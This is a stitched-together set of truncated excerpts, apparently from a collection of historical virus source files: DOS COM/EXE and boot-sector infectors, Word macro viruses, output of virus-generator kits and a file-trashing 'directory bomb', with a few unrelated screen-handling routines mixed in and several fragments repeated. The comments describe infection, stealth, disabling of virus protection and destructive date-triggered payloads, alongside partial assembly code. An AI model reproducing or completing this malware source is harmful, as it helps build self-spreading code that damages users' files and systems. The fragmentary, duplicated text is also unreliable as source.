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muttiny segment byte public assume cs:muttiny, ds:muttiny org 100h start: db 0e9h, 5, 0 ; jmp startvir restorehere: int 20h idword: dw 990h ; The next line is incredibly pointless. It is a holdover from one ; of the origi...
PAGE 60,132 ; ; ; 15APR ; ; Created: 4-Mar-91 ; ; data_1e equ 4Ch ; (0000:004C=31h) data_2e equ 4Eh ; (0000:004E=70h) data_3e equ 84h ; (0000:0084=0E3h) data_4e equ 86h ; (0000:0086=161Ah) data_5e e...
; =======================================================================> ; 100% By MnemoniX - 1994 ; ; This is a memory resident .COM infector which hides itself using ; directory stealth (11/12 and 4E/4F). To avoid setting heuristic ; flags in TBAV, it overwrites part of the decryption routine with ; garbage an...
VSize=085h Code Segment Assume CS:Code org 0 db 4Dh jmp Start Org 600h Bytes db 0CDh,20h,90h,90h Start: mov si, 0100h mov bx, offset Int21 mov ...
;*************************************************************************** ;* * ;* 196 - Research Virus Version 1.01 Date. 11th April 1992. * ;* * ;* Written ...
;hmm.,.,.,.,without a name.,.,.,., ;this file is much like the 606, only it ;is much more harmful...it has a special suprise ;for three diffrent dates....hehehehe.,.,,..,., ;i had planned to have it in with the other TR- ;series, but this was much to large to add in with.,., ;enjoy!.... ; nUcLeii ; ...
PAGE 59,132 ; ; ; 1575-E ; ; Created: 23-May-92 ; Passes: 5 Analysis Options on: none ; ; data_1e equ 6 data_2e equ 84h data_3e equ 86h data_4e equ 100h data_10e equ 31Fh data_12e equ 0 ;* d...
; Basic little bitty program for people learning about the different modes ; you can stick on your monitor. This program will put you into 80*50 on a ; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested ; it.) Anyways, I tried to comment it so someone not knowing asm would be ; able to under...
;**************************************************************************** ;* Seventh son of a seventh son version 2 ;**************************************************************************** cseg segment assume cs:cseg,ds:cseg,es:cseg,ss:cseg FILELEN equ ...
;**************************************************************************** ;* Seventh son of a seventh son version 4 ;* ;* Compile with MASM 4.0 ;* (other assemblers will probably not produce the same result) ;* ;* Disclaimer: ;* This file is only for educational purposes. The author takes no ;* responsibil...
page 70,120 Name VIRUS ;************************************************************************* ; Program Virus Ver.: 1.1 ; Copyright by R. Burger 1986 ; This is a demonstration program for computer ; viruses. It has the ability to replicate itself, ; and the...
; Kod rdowy wirusa nieznanego autorstwa. Widoczne s silne wpywy 648. ; Dodano wasne komentarze wskazujce na rnice midzy t wersj i oryginaem. ; Komentarze te poprzedzane s znakami AK:. ; Tekst znaleziony na dysku komputera FIDO w PC Kurierze 28 wrzenia 1990. comment ; ***************************************************...
title The '405' virus page 65,132 ; ͻ ; British Computer Virus Research Centre ; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England ; Telephone: Domestic 0273-26105, International +44-273-26105 ; ...
PAGE 59,132 ; ; ; 1701-B ; ; Created: 11-Feb-92 ; Passes: 5 Analysis Options on: none ; ; data_31e equ 27D1h ;* data_36e equ 4CD6h ;* data_39e equ 6950h ;* data_45e equ 8848h ;* data_50e e...
; =======================================================================> ; 100% By MnemoniX - 1994 ; ; This is a memory resident .COM infector which hides itself using ; directory stealth (11/12 and 4E/4F). To avoid setting heuristic ; flags in TBAV, it overwrites part of the decryption routine with ; garbage an...
; Basic little bitty program for people learning about the different modes ; you can stick on your monitor. This program will put you into 80*50 on a ; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested ; it.) Anyways, I tried to comment it so someone not knowing asm would be ; able to under...
;***************************************************************************** ; ; Pixel - 299 virus ; ; Disassembled By Admiral Bailey [YAM '92] ; ; Notes: I dont know where the hell I got this one from but when I found it on ; one of my disks it was named incorectly. Some Amst shit but I looked ; it u...
;****************************************************************************** ;* 44-virus version 1.0 ;* ;* Assemble with Tasm 1.01 ;* ;* The 44 virus is a non-resident overwriting virus with a lenght ;* of 44 bytes. It will infect all files with the extension .C* ;* in the current directory. ;* ;* ...
;Smallest in the trivial series of viruses, I think.... ;Last I saw was 30 bytes - this one goes to 29. ;Code by Stormbringer... stupid virus, but small. .model tiny .radix 16 .code org 100 start: FindFile: xchg cx,ax ;ax defaults to zero on runtime - cx doesn't p...
;NAME: 512-X.C-M ;FILE SIZE: 00200h - 512d ;START (CS:IP): 00100h ;CODE END: 00300h ;CODE ORIGIN: 00100h ;DATE: Wed Aug 05 13:56:29 1992 CODE SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING P00100 PROC ORG 0100h H00100: MOV AH,30h ;00100 B4...
>>> Article From Evolution #2 - YAM '92 Article Title: 382 Virus Author: Admiral Bailey ;=--- ; ; 382 Virus (Family-Q as McAfee 91 calls it) ; ; Disassembled By Admiral Bailey [YAM '92] ; June 25, 1992 ; ; The writer of this is unknown to me... maybe you should put some of ; your info in it. ; ; Notes:This virus I f...
;*************************************************************************** ;* * ;* 196 - Research Virus Version 1.01 Date. 11th April 1992. * ;* * ;* Written ...
;90210 Virus from the TridenT virus research group. ;This is a semi-stealth virus that hides file-size changes while ;it is in memory. It marks the files w/the timestamp. It will ;infect COM files on open, execute, delete, and rename. It checks ;if it is in memory by calling Int 21h with DEADh in AX and uses MCB's ...
PAGE 59,132 ; ; ; 911 Virus ; ; This program is the 911 Virus. Use at your own risk. When the ; manipulation task begins, it will dial 911 through your modem ; and display "Support Your Police" on the screen. ; ; Assem...
;tHE sKISM 808 vIRUS. cREATED 1991 BY sMART kIDS iNTO sICK mETHODS. FILENAME equ 30 ;USED TO FIND FILE NAME FILEATTR equ 21 ;USED TO FIND FILE ATTRIBUTES FILEDATE equ 24 ;USED TO FIND FILE DATE FILETIME equ 22 ;USED TO FIND...
;****************************************************************** ;* * ;* My First Virus, a simple non-overwriting COM infector * ;* * ;* by, Solomon ...
; Virus name WWT-02 ; Description Attack any COM file in current directory ; Comment Don't change Date/Time, ignore ReadOnly ; Date 19 Dec 1990 15:30 ; Place CICTT ; mov dx,offset FileMask ; FileMask for any COM file mov ah,4eh ; Find first file mov cx,1 ; including attrib Archive int 21h ; Call...
;---------------------------------------------------------------------------- ; Web415 ; ⢮ Search ;---------------------------------------------------------------------------- ; (c) 1997 by I. Dikshew // [TAVC] // -=* Red Arc *=- ;----------------------...
; WHATSUP.ASM -- Whats Up Virus ; Created with Nowhere Man's Virus Creation Laboratory v1.00 ; Written by Unknown User virus_type equ 2 ; Spawning Virus is_encrypted equ 1 ; We're encrypted tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h start lab...
;WASMVir --> A lame overwriting virus to demonstrate WASM ;Overwrites all files in the current directory ;By Lord Natas org 100h Start mov ah,4eh mov cx,7 mov dx,offset FileSpec Virus ;----- find file int 21h jc EndV ;----- open file mov ax,3d01h mov dx,9eh int 21h jc Close xchg bx,ax ;---...
;Virus Name: W31V-BETA ;Type : Windows Virus, infects windows executables ;Written by: Stalker X ; ; ;Here it is folks my first windows virus. ;I would firstly just want to say thankyou to qark and quantum for this ;virus is based on the infection of a windows virus as discribed in VLAD-#4 ;Ok as you can see parts...
Name: Demenz Author: Serialkiller Resident: No Encryption: Yes Steahlt: Yes The virus have 5 macros: - AutoOpen - AutoNew - Demenz - ToolsMacro - FileSave ============================================================================= ============================================================================= [AutoO...
PAGE 59,132 ; ; ; WWT-01 ; ; Created: 15-Mar-91 ; Passes: 5 Analysis Options on: none ; ; data_009E_e equ 9Eh seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h wwt-01 proc far...
Model Tiny .code .286 org 100h start: push cs push offset Entry retf db 'DrWeb - !' BEG_LEN equ $-start Entry: pusha push ds push es call En1 EN_LEN equ $-Entry En1: push ds pop es xchg ax,di pop bp sub bp,EN_LEN mov bx,1100h mov ah,...
PAGE 59,132 ; ; ; WVIR14 ; ; Created: 1-Sep-92 ; Passes: 5 Analysis Options on: none ; ; ...
ideal @date = 0355h ;21.10.1981 @time = 8E79h ;17:51:50 model tiny codeseg startupcode jmp begin ; macro intdos pushf call [dword cs:oi21] endm ; i21: push ax xor al,al cmp ah,3ch jz okk cmp ah,5bh jz okk cmp ah,3dh jz okk inc al cmp ah,16h jz okk cmp ah,0fh jnz ov0 okk: jmp ok ov0: cmp ah,1ah jz se...
; "One must crawl before one walks." ; wHaRpS Virus 1.0 ; wHaRpS virus of independent virus writer FirstStrike ; For use by [Phalcon\Skism] ONLY! ; Special thanx to: ; Gheap ; Dark Angel ; Demogorgon name wHaRpS title code segmen...
;| ;| WEFLOW 1993 VIRUS BY TESLA 5 ;| ;| THIS VIRUS IS BASED ON THE TRIDENT OVERWRITING VIRUS. SORRY FOR ;| LAMING AROUND, BUT IT KEEPS VARIANTS RISING. GREETINGS TO TRIDENT, ;| NUKE, PHALCON/SKISM AND YAM. YOU DON'T KNOW ME, BUT I DO... ;| ORG 100H MAIN: MOV AH,4EH NOTSOC...
seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h ww proc far start: jmp loc_2 db 12 dup (90h) db 0CDh, 20h loc_2: jmp short loc_3 db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh db 00h, 00h data_8 db 'C:\Command.Com', 0 db 'C:\Autoexec.Bat', 0 db 'C:\Config.Sys', 0 db '\win' data_12 d...
PAGE 59,132 ; ; ; WVIR14 ; ; Created: 1-Sep-92 ; Passes: 5 Analysis Options on: none ; ; ...
'W97/Class.Poppy.B 'Word 97 Class Object Infector 'First Ever Class Object Infetor Sub AutoOpen() ' AutoOpen Sub In Document On Error GoTo out ' Handle Errors Options.VirusProtection = False ' Turn Off Virus Protection Options.SaveNormalPrompt = False ' Turn Off Normal.dot Save Prompt Options.ConfirmConver...
seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h ww proc far start: jmp loc_2 db 12 dup (90h) db 0CDh, 20h loc_2: jmp short loc_3 db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh db 00h, 00h data_8 db 'C:\Command.Com', 0 db 'C:\Autoexec.Bat', 0 db 'C:\Config.Sys', 0 db '\win' data_12 d...
virus segment public 'code' assume cs:virus,ds:virus,es:virus org 0 VirusSize equ VirusEnd-$ Com: call Begin call Label2 SavedCode: mov ax,4c00h int 21h org SavedCode+5h Label2: pop si mov di,100h push di movsw movsw movsb ret Begin: push ds push es push ax xor ax,ax mov ds,ax mov ds,d...
;PHOEBE ;coded by Opic of the Codebreakers ;PHOEBE is an appending .com infector with DT via a dotdot routine ;infection criteria is met on a moday once all files that are capable of ;being infected by PHOEBE are, a payload is delivered: ;the monitor will print a message to the screen(in the French) which ;translat...
PAGE 59,132 ; ; ; PEBBLE ; ; Created: 21-Feb-92 ; Passes: 5 Analysis Options on: none ; ; data_0001e equ 9Eh seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h pebble proc far ...
;---------------------------------------------- ; Virus V-547 ; ; Dissasembled: Andrzej Kadlof April 1991 ; ; (C) Polish Section of Virus Information Bank ;---------------------------------------------- 0100 E9FD00 JMP 0200 ; jump to virus ; .... ; victim code ;==================== ; virus entry po...
START SEGMENT ASSUME CS:START,DS:START MOV BX,80H MOV CH,0 MOV CL,[BX] DEC CX MOV SI,OFFSET KODOK+100H CALL BET JZ KILEP MOV SI,OFFSET FILEN+100H CALL BET JZ KILEP MOV SI,OFFSET FILECO+100H CALL BET JMP FOLYT KILEP: INT 20H FOLYT: MOV SI,OFFSET KODOK+100H MOV BX,OFFSET KODTB+100H CIKL1: MOV AL,[SI] OR A...
; ; [Phasor] v1.0 ; Written by Memory Lapse of Phalcon/Skism ; ; This is a simple memory resident, COM infector. It hides in the unused ; portion of the interrupt table starting at 0:1E0h. ; ; To Assemble: ; TASM [PHASOR10]/m2 - TLINK [PHASOR10]/T ; .model tiny ; .code ...
; Advanced Fullscreen Disassembler v2.11 ; Copyright (C) by Rumen Gerasimov (GERISOFT), 1987, 1988 ; ; First listing: without DATA segment ; ; Segment value: 0000, length: 0200 ; BIOS_SEG SEGMENT at 0h org 0020h D0020 dw 0 D0022 dw 0 INTERR8 label far org 004Ch D004C dw 0 D004E dw 0 org 0413h D0413 dw 0...
code segment public 'code' assume cs:code, ds:code, es:code org 100h Main: mov ah,30h ; fn 30h = Get Dosversion int 21h ; int 21h cmp al,4 ; major dosversion sbb si,si mov ah,52h ; get internal list of lists int 21h ; int 21h lds bx,es:[bx] ; get pointer to first drive ; paramenter b...
page ,132 name V345 title V-345 - a mutation of the V-845 virus .radix 16 code segment assume cs:code,ds:code org 100 timer equ 6C olddta equ 80 virlen = offset endcode - offset start newid = offset ident - offset start start: jmp short virus ident dw 'VI' counter db 0 allcom db '*.COM',0 progbeg dd ? eof dw ...
;PROTO-T virus: a simple, memory resident .COM infector for ;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler. ; ;On call, PROTO-T will manipulate the interrupt table directly, hooking ;int 21h and decreasing the amount of memory by a little over 1k. ;It will infect COMMAND.COM ;if a shell is insta...
; Phantasie Mutation Engine --- DEMO ; This program will generate 50 mutation programs. ; (C) Copyright 1995 Written by Burglar. All Rights Reserved. ; Made In Taiwan. .MODEL TINY .CODE ORG 100H EXTRN PME:NEAR, PME_END:NEAR ;must declare PME to exte...
PAGE 59,132 ; ; ; PART ; ; Created: 10-Aug-92 ; Passes: 5 Analysis Options on: J ; ; data_11e equ 0F42h ;* data_13e equ 2F42h ;* data_14e equ 3F42h ;* data_15e equ 65C4h ;* data_16e equ 7...
; This is the ashar variant of the classic Pakistani Brain virus. It is large ; by today's standards, although it was one of the first. It is a floppy only ; boot sector infector. brain segment byte public assume cs:brain, ds:brain ; Disassembly done by Dark Angel of PHALCON/SKISM org 0 cli j...
PAGE 59,132 ; ; ; POLIMER VIRUS ; ; Disassembly by >> Wasp << a.k.a. Night Crawler. ; ; Created: 5-Jan-92 ; ...
; - [Prodigy] v3.0 ; Metabolis/VLAD ; _ _ .---------. ; | | |_| | T H E | ; | | _ `---------' ; _____ _____ _____ ___| | | | ______ _ _ ; | _ | | .-. | | _ | | _ | | | | ___/ | | | | ; | |_| | | `...
; virus 529 extracted from full memory dump published by N.N.Bezrukov ; in Virus Guide (Computer Virology) edition 3.5. First information about this ; virus has been released by D.N.Lozinsky (Leningrad USSR) before june 1990. ; ; Dissasembly: A.Kadlof 1990-08-31 ; ; Virus code is placed at the begining of the file 010...
page ,132 name V345 title V-345 - a mutation of the V-845 virus .radix 16 code segment assume cs:code,ds:code org 100 timer equ 6C olddta equ 80 virlen = offset endcode - offset start newid = offset ident - offset start start: jmp short virus ident dw 'VI' counter db 0 allcom db '*.COM',0 progbeg dd ? eof dw ...
PAGE 59,132 ; ; ; VIRI ; ; Created: 7-Jan-92 ; ; Disassembled by -=>Wasp<=- aka >>Night Crawler<< ; Reassemble with TASM 2.0 ; DATA_1E EQU 0 DATA_2E...
; ; Black Wolf's File Protection Utilities 2.1s ; ;PassCOM - This program password protects the specified file by attaching ; code from PW_COM onto the file so that it will check for passwords ; each execution. It utilizes ULTIMUTE .93 to protect then PW_COM ; code from eas...
; VirusName : PARADISE LOST! ; Origin : Sweden ; Author : The Unforgiven ; Date : 20/12/93 ; This is a "mutation", of Tormentor's .COM lession. I've modified ; some stuffs, but since I liked the .EXE infector better, I didn't ; cared too much about this one. ; Anyway, this is a non-resident current direct...
.model tiny .code org 100h ;Where we start over: jmp infect ;Go straight to the ;drop routine and do it activate proc far start: mov ah,0h ;Se...
;PROTO-T virus: a simple, memory resident .COM infector for ;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler. ; ;On call, PROTO-T will manipulate the interrupt table directly, hooking ;int 21h and decreasing the amount of memory by a little over 1k. ;It will infect COMMAND.COM ;if a shell is insta...
; PEARLHBR.ASM -- Pearl Harbor Virus ; Created with Nowhere Man's Virus Creation Laboratory v1.00 ; Written by Nowhere Man virus_type equ 2 ; Spawning Virus is_encrypted equ 1 ; We're encrypted tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h start ...
; [SCRUNCH] by Abraxas .model tiny ; Handy directive .code ; Virus code segment org 100h ; COM file starting IP entry_point: db 0e9h,0,0 ; jmp decrypt decrypt: ; handles encrypti...
; SMLBOOT.ASM -- Small Booter Virus ; Created with Nowhere Man's Virus Creation Laboratory v1.00 ; Written by Virucidal Maniac virus_type equ 2 ; Spawning Virus is_encrypted equ 0 ; We're not encrypted tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h...
.model tiny .code org 100h resid equ 3099h fileid equ 's' time_stamp equ 10001b ;stealth marker... host: jmp short entry db 90h,fileid vstart: entry: call $+3 gd: mov si,sp mov bp, word ptr [si] sub bp,offset gd ...
; ; ; V I R U S P R O T O T Y P E ; ; Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd ; Date : 25 Jan 1991 21:05 ; Function : Found DOS stack in put hims...
; ; Subconsious virus, written by Conzouler 1995. ; ; This virus is based on RSV.208. ; ; Effect: ; Flashes a text on line 4 on the screen. ; The text is drawn once on the screen with ; raster beam syncronisation. The after- ; glow can make the text visible for a longer ; period, especially when using black bac...
start: jmp short begin db (00h) db (53h) db (4bh) int 20h okey: db (0b8h) db (03h) db (00h) db (0cdh) db (10h) begin: push cx CALL F1 F1: POP SI SUB SI,09 push cs pop ds push cs pop es MOV WORD PTR [LenF],SI cld mov di,100h mov cx,5 rep movsb jmp ding1 int21h: STI cmp ah,...
; THE ICELANDIC "DISK-CRUNCHING" VIRUS ; ; Another possible name for this virus might be "One-in-ten", since ; it tries to infect every tenth program run. The Icelandic name for ; this virus ("Diskaetuvirus") translates to "Disk-eating virus" ; ; It was first located at one site in mid-J...
start: jmp short begin db (00h) db (53h) db (4bh) int 20h okey: db (0b8h) db (03h) db (00h) db (0cdh) db (10h) begin: push cx CALL F1 F1: POP SI SUB SI,09 mov ax,0 mov ds,ax mov word ptr [312h],si push cs pop ds push cs pop es cld mov di,100h mov cx,5 rep movsb jmp ding2 int20h: mov ah,00h j...
;ް ; ް ; METRiC BUTTLOAD of CODE GENERATOR ް ; Copyright(c) 1994 - MBC - Ver. 0.91b ް ; ް ;ް .MODEL TINY .CODE ORG 100H ENTRY_POINT: DB 0E9H,0,0 DECRYPT: MOV BP,(OFFSET HEAP - OFFSET ST...
; ; ; V I R U S P R O T O T Y P E ; ; Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd ; Date : 25 Jan 1991 21:05 ; Function : Found DOS stack in put himself in it. Then trace DOS ; function EXEC and type 'Infect File' ...
>>> Article From Evolution #2 - YAM '92 Article Title: The Smurf Virus Author: Admiral Bailey ;--- ; The Smurf virus [40 Bytes Long] ; ; Author : Admiral Bailey [YAM '92] ; Date : June 6 1992 ; Language : Assembly [TASM 2.0] ; ; Notes:The Smurf virus was my first attempt at writing the smallest ; overwri...
ORG 100H ; The Screaming Fist II virus (c)1991 by Lazarus Long, Inc. ; The author assumes no responsibility for any damage incurred ; from the infection caused by this virus CURTAIN_OPEN EQU $ ARE_WE_RESIDENT?: CLD ;Do not remove this CALL DECRYPT_US NEXT_PLACE: MOV AH,30H ...
;---------------------------------------------------------------------------- ; Wirus dostarczony Grzegorzowi Eiderowi do redakcji KOMPUTERA w poowie ; listopada 1989. Dostawc jest uytkownik z Wiednia: ; ; Karol Grabski ; Vien ; Krummgasse 3/18 ; tel. 7133735 ; ; SCAN 0.4V35 identyfikuje go jako: STONED V...
;skism directory bomb v1.00 ;written by hellraiser ;this is a lame bomb consisting of repetative/error full code ;but it gets the job done ;when run this program will start at the first directory from the root ;and trash all files in first level directorys ;then create a directory in place of the distroyed file name ...
;| ;| SUICIDE VIRUS BY TESLA 5 ;| ;| THIS VIRUS IS A SLIGHTLY MODIFIED VERSION OF THE DEICIDE VIRUS OF ;| GLENN BENTON, SO IT IS SMALLER IN SIZE AND A BIT MORE EFFICIENT. I ;| THINK GLENN WAS A BIG SATANIST, BECAUSE OF THE NAME DEI-CIDE (KILL ;| EVERYTHING THAT'S HOLY?). WELL, I MODIFIED THE CO...
TITLE scrn4.asm ; AUTHOR Tim Spencer - Compuserve [73657,1400] ; DATE March 19, 1987 _TEXT SEGMENT BYTE PUBLIC 'CODE' _TEXT ENDS _DATA SEGMENT WORD PUBLIC 'DATA' _DATA ENDS DGROUP GROUP _DATA ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING _TEXT SEGMENT BYTE PUBLIC 'CODE' ;--------------------------------...
PAGE 60,132 ; ; ; STONED2 ; ; Created: 1-Jan-80 ; ; DATA_1E EQU 8 ; (694B:0008=0) DATA_2E EQU 9 ; (694B:0009=0) DATA_3E EQU 11H ; (694B:0011=0) CODE_SEG_A SEGMENT ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A...
start: jmp short begin db (00h) db (53h) db (4bh) int 20h okey: db (0b8h) db (03h) db (00h) db (0cdh) db (10h) begin: push cx CALL F1 F1: POP SI SUB SI,09 mov ax,0 mov ds,ax mov word ptr [312h],si push cs pop ds push cs pop es cld mov di,100h mov cx,5 rep movsb jmp ding2 int20h: mov ah,00h j...
; Source code to South Houston High School virus ; codeseg segment assume cs:codeseg, ds:codeseg org 100h cr equ 13 lf equ 10 tab equ 9 start: call encrypt_decrypt jmp random_mutation encrypt_val db 0 infect_file: mov bx,handle ...
start_1: db 24h,21h,0e9h,0,0 ;first byte = jmp far, second byte = how much bytes to jump ende_start_1: ;later here comes the host_program start_2: ;here starts the virus CALL delta ;get delta offset delta: ; pop bp ; sub bp,offset delta ; ...
TITLE scrn3.asm ; AUTHOR Tim Spencer - Compuserve [73657,1400] ; DATE March 17, 1987 _TEXT SEGMENT BYTE PUBLIC 'CODE' _TEXT ENDS _DATA SEGMENT WORD PUBLIC 'DATA' SCRN STRUC ; screen data structure - defined in video.h off dw 0 ; offset (cursor position) seg dw 0 ; screen buffer address port dw 0 ; status port a...
TITLE scrn2.asm ; AUTHOR Tim Spencer - Compuserve [73657,1400] ; DATE March 15, 1987 _TEXT SEGMENT BYTE PUBLIC 'CODE' _TEXT ENDS _DATA SEGMENT WORD PUBLIC 'DATA' SCRN STRUC ; screen data structure - defined in video.h off dw 0 ; offset (cursor position) seg dw 0 ; screen buffer address port dw 0 ; status port...
PAGE ,132 VIRUS SEGMENT PARA PUBLIC 'CODE' ASSUME CS:VIRUS,DS:VIRUS R1 EQU IDE-131H R2 EQU BE1-1A3H HOSSZ EQU VEG-KEZDET ORG 100H KEZDET EQU $ DB 1 CLI MOV BP,SP CALL IDE IDE: POP BX ; A CIM VISSZAOLVASASA SUB BX,131H TEST CS:BYTE PTR [BX+KEZDET-R1],1 JZ INDIT LEA SI,[BX+INDIT-R1] MOV SP,OFFSET VEG-INDIT...
PAGE 60,132 ; ; ; STONED2 ; ; Created: 1-Jan-80 ; ; DATA_1E EQU 8 ; (694B:0008=0) DATA_2E EQU 9 ; (694B:0009=0) DATA_3E EQU 11H ; (694B:0011=0) CODE_SEG_A SEGMENT ASSUME CS:CODE_SEG_A, DS:CODE_SEG_A...
.286 .model tiny .radix 16 .code a equ 0D6 org 100 e: dec bp push cs push si push cs mov al,2E push ax mov es,ax xor di,di mov cl,l-e rep movsb ;es:di = 2F:l-e ds:si = CS:l-e+100 push n-e retf n: push si mov si,84 mov ds,cx cmp [si],ax jz f movsw mov [si-2],ax xchg [si],ax stosw f: pop si pop es ...
; ; The Slim-Line 2 virus, from the Slim-line virus collection. ; (C) 1993 by [DRkRY]/TridenT ; ; And this time it's a direct action COM infector. ; <will be commented soon> _CODE SEGMENT ASSUME CS:_CODE, DS:_CODE, ES:_CODE ORG 100h FIRST: DB 'D', 0E9h, 000h, 000h VX: MOV...
; ------------------------------------------------------------------------- ; ; Sisoruen v1.8 coded by KilJaeden of the Codebreakers 1998 ; ; ------------------------------------------------------------------------- ; ; Description: `--------------------------------------| Size : 484 bytes ; ; ...
comment * Sparse.3840 Disassembly by Darkman/29A Sparse.3840 is a 3584 bytes parasitic resident COM virus. Infects at load and/or execute program by appending the virus to the infected file. To compile Sparse.3840 with Turbo Assembler v 4.0 type: TASM /M SPARSE.ASM TLINK /t /x ...
; SOM.asm : [Argent] by Abraxas ; Created wik the Phalcon/Skism Mass-Produced Code Generator ; from the configuration file skeleton.cfg .model tiny ; Handy directive .code ; Virus code segment org 100h ; COM file starting IP ...
; ; The Slim-Line 1 virus, from the Slim-line virus strain. ; (C) 1993 by [DRkRY]/TridenT ; ; This one's a dumb overwriting virus, as small as possible, ; return to DOS and work with all dos versions. (no SI=100h tricks ect.) ; _CODE SEGMENT ASSUME CS:_CODE, DS:_CODE, ES:_CODE ORG 100h FIRST: ...
; squish.asm : [$qsH] by FNk䤛h$ ; Created wik the Phalcon/Skism Mass-Produced Code Generator ; from the configuration file skeleton.cfg .model tiny ; Handy directive .code ; Virus code segment org 100h ; COM file starting IP ...
; Virus generated by G 0.70 ; G written by Dark Angel of Phalcon/Skism ; File: SAURON.ASM ; Sauron by Ender id = 'AC' .model tiny .code ; Assemble with: ; TASM /m3 filename.ASM ; TLINK /t filename.OBJ ...
PAGE 59,132 ; ; ; SIMPSON ; ; Created: 4-Dec-92 ; Passes: 5 Analysis Options on: none ; ; data_1e equ 2Eh data_10e equ 39Ah ;* data_11e equ 39Ch ;* data_12e equ 39Eh ;* data_13e equ 3A0h ...
; Senast ndrad 891213. ; ; Lgger gamla bootsectorn p sida 1, spr 0, sector 3. ; sida 0, spr 0, sector 7 p HD. Code Segment Assume cs:Code Org 0000h Main Proc Far db 0EAh,05h,00h,0C0h,07h jmp Near Ptr Init ; Hoppa frbi variabler och nya int13h ; Variabler Old13h dd 0 ; Gamla vec...
; Virus ; Satan's Little Helper-C ;This version: ;Searches current directory for non-infected com files, if any found ;it will become infected! ;This virus has a routine which self-destructs itself and uninfects ;the file. assume cs:code .286 code segment "code" org 0100h start proc jmp v_start ;first 5 bytes |...